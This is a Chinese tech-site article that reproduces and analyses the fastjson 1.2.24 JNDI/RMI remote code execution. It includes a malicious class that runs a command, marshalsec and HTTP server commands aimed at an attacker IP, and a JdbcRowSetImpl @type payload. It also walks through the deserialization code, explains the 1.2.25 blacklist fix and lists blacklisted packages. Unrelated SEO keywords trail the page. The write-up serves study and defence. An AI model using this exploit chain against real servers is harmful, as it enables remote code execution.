千家信息网

如何进行fastjson1.2.24复现与分析

发表于:2025-02-23 作者:千家信息网编辑
千家信息网最后更新 2025年02月23日,这期内容当中小编将会给大家带来有关如何进行fastjson1.2.24复现与分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。靶场搭建使用idea maven项目创
千家信息网最后更新 2025年02月23日如何进行fastjson1.2.24复现与分析

这期内容当中小编将会给大家带来有关如何进行fastjson1.2.24复现与分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

靶场搭建

使用idea maven项目创建,在pom中导入fastjson的坐标。(因为本文复现1.2.24的rce,所以版本要小于1.2.24,本文采
取1.2.23版本坐标)。

导入之后在右边点击maven图标导入。

坑点

其中环境有一个非常细小的点,可以说是个大坑,我调试了很久,之前的报错如下:

1、rmi+jndi环境:java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
2、ldap+jndi环境:java.lang.ClassCastException: javax.naming.Reference cannot be
cast to javax.sql.DataSource

后来才发现是java的环境没有配置对,虽然都是jdk1.8,但是复现的环境采用1.8.0_102,之前的环境1.8.0_221没有复现成 功。因为JDK8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、
com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,即默认不允许RMI、cosnaming从远程的 Codebase加载Reference工厂类。

漏洞复现

一、准备被远程下载的class文件

这边简单弹个计算器,也可以反弹shell


package com.v1rus;public class Calc{public Calc(){try{Runtime.getRuntime().exec("calc");}catch (Exception e){e.printStackTrace();}}public static void main(String[] argv){Calc c = new Calc();}}

命令行输入 javac Calc.java ,在当前文件夹下会生成Calc.class文件。

二、 http服务

可以简单的用python3在当前Calc.class文件的文件夹下起http服务

python -m http.server 8088

三、RMI服务

使用marshalsec起rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.156:8088/#Calc" 8

简而言之就是将class文件放到了http服务上,再用rmi服务绑定该class文件,并将rmi服务的端口应用在8888端口上。

漏洞分析

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

首先放上服务端使用的poc demo:

package com.v1rus;    import com.alibaba.fastjson.JSON;    public class Test {    public static void main(String[] args) {    String v1rus = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.249.15    JSON.parseObject(v1rus);}}

一、熟悉fastjson工作流程

我们的poc中用到的类是

com.sun.rowset.JdbcRowSetImpl


Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommitat com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:131)at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.jat com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:722)at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:568)at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:877)at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Soat com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:183)at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128)at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at com.v1rus.Test.main(Test.java:8)

我们直接进入 com.alibaba.fastjson.JSON 这个类中,并在parseObject函数上面下断点。

最后会跟到这个方法上。通过DefaultJSONParser类去parse我们传入的字符串

跟进74行的parse代码。这里是根据JSONLexer的token为12到case的判断,进入关键函数。

根据lexer.token()方法返回token的值,这里是12,所以进入else进行处理。

然后进入while(true)循环,第一步骤就是lexer.skipWhitespace,跟进去查看方法

因而返回的是 " 号,所以可以进入if判断,根据变量名我们也可以得知,scanSymbol这个方法返回的是key关键字。

(key、value对)

大家可以简单的跟进

com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol

这个函数走一下流程,最后会通过双引号的闭合判断来返回value字符串,这边返回的就是第一个字符串 @type

继续往下走到了这里,将key和全局静态常量作比较看是否为 @type ,如果是的话,进入if判断。

跟进 com.alibaba.fastjson.util#loadClass ,这里面并没有做什么黑名单的过滤就讲这个类对象返回了。


上面那行代码,跟进分析

判断是类名返回

跟进方法分析返回

FastJsonASMDeserializer_1_JdbcRowSetImpl

再跟进deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址

一路跟到parseField方法

调用smartMatch方法来处理我们传入的key值,跟进这个方法

之后回跟到

((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType,
fieldValues);这行代码,进入FieldDeserializer的parseField方法。进行一些Field的赋值操作。


再跟进

com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue

方法,根据fieldInfo.fieldClass判断该类,最后进入箭头指向的else体,通过反射调用setAutoCommit关键方法。嘿嘿,接下来不是为所欲为。

这个jdk自带的类必须要先获得一个connection,如果没有的话先执行connect方法。我们进去看看里面有什么。

因为我们在前面通过setDataSourceName()方法设置了dataSourceName的值,所以进入esle if通过lookup方法去获取

dataSource。而rmi(java远程方法调用机制)的主角就是这个方法,如果lookup里面传入的参数可控,就可以指向我们所构造的rmi服务,那么就有很大的可能被攻击。(InitialContext
是一个实现了Context接口的类。使用这个类作为JNDI命名服务的入口点。)

这里也简单提一句JNDI和RMI关系,以便更好理解。简单来说,JNDI (Java Naming and Directory
Interface)是一组应用程序接口。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。JNDI接口在初始化时,可以将RMI
URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中。

用referenceWrapper包装reference类,注册在jndi的rmi服务实现上,这里rmi服务器绑定的类并没有实现相应的接口,而是通过Refernces类来绑定过一个外部的远程对象。(这里先提及一下,后面会详细说明)一路跟进到这个最终的方法,该方法执行完就会加载完远程类实现rce。可以看到这里的var3是RegistryContext类,调用lookup函数。


跟进去时候传入的这个参数是Calc也就是/后面的请求文件,不为空之后调用this.registry(RegistryImpl_Stub,stub和skel的概念是相对而言的,并不只存在于服务端和客户端之间)的lookup方法,是我们可控的,所以就造成了JNDI注入漏洞。


继续跟进marshelsec可能会出现这样的错误:

java.net.SocketTimeoutException: Read timed outat java.net.SocketInputStream.socketRead0(Native Method)at java.net.SocketInputStream.socketRead(Unknown Source)at java.net.SocketInputStream.read(Unknown Source)at java.net.SocketInputStream.read(Unknown Source)at java.io.BufferedInputStream.fill(Unknown Source)at java.io.BufferedInputStream.read(Unknown Source)at java.io.FilterInputStream.read(Unknown Source)at marshalsec.jndi.RMIRefServer.doMessage(RMIRefServer.java:221)at marshalsec.jndi.RMIRefServer.run(RMIRefServer.java:171)at marshalsec.jndi.RMIRefServer.main(RMIRefServer.java:117)

原因是网络读取数据超时,我们跟进方法的同时加长的数据传输的时间,等待超时抛出错误。至此利用的部分已经结束。

疑惑

因为JNDI注入中RMI服务器最终执行远程方法,但是目标服务器lookup()一个恶意的RMI服务地址,反而是目标服务器执行了。那么究竟是什么原因?

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过Reference类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object
factory,最终通过factory类将reference转换为具体的对象实例。

简而言之,在Server绑定Reference时,这个恶意对象是不在Server上的,Reference指向某个地址,Client会去这个地址

取出对象并在Client实例化。

总结

攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数造成RCE。

漏洞修复

从1.2.25开始对这个漏洞进行了修补,修补方式是会在

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

方法中调用

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

来检查我们传入的类是不是在黑名单中,也就是将TypeUtils.loadClass替换为checkAutoType()函数:


只有通过了白名单的校验才会调用loadClass。

但是这里同时使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,相当于白

名单并没有真正起到白名单的作用。我们仍然可以进入后续的流程来进行绕过。

黑名单里面禁止了一些常见的反序列化漏洞利用链:


bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework

Fastjson主要还是利用了autotype功能实现"@type"字段指定反序列化的Class类型,所以尽量关闭autotype就没有问题。虽然Fastjson在1.2.24之后实现了一套黑名单,但还是存在被绕过风险。

rmi在fastjson中的利用只是jndi的一种手段,还有ldap等。是在rmi服务器上绑定reference对象,与rmi本身的反序列话不是很有关系。它将从攻击者控制的服务器获取工厂类,然后实例化工厂以返回
JNDI所引用的对象的新实例。

上述就是小编为大家分享的如何进行fastjson1.2.24复现与分析了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注行业资讯频道。

服务 方法 对象 文件 服务器 分析 函数 接口 漏洞 环境 黑名单 黑名 代码 名单 实例 就是 攻击 地址 客户 序列 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 四川数控套料软件开发商 山西对软件开发的不足 登游戏为什么会显示服务器中断 西安一码通软件开发 专业软件开发公司 聚顶科技有名 故障转移群集数据库安装教程 jenkins的数据库在哪 湖北第三方软件开发多少钱 天津通讯软件开发服务标准 有为平台如何设置数据库连接 数据库主键如何选择 数据库传播是非人员传播吗 选用数据库的依据 网络技术需要考什么证 从数据库生成ppt 易企秀表单与留言总数据库 网络技术培训是真的假的 嵌入式操作系统软件开发 比亚迪五部北京软件开发 网络安全先进个人2020 python查询数据库方法 炒股大赛软件开发 互联网时代测绘科技发展 东莞市科思达软件开发有限公司 吉林驾驶舱系统软件开发 小学网络安全知识调查问卷 当前客户端的版本比服务器端的低 斑马网络技术有限公司财务总监 种田软件开发营销计划 银行对网络安全的报告
0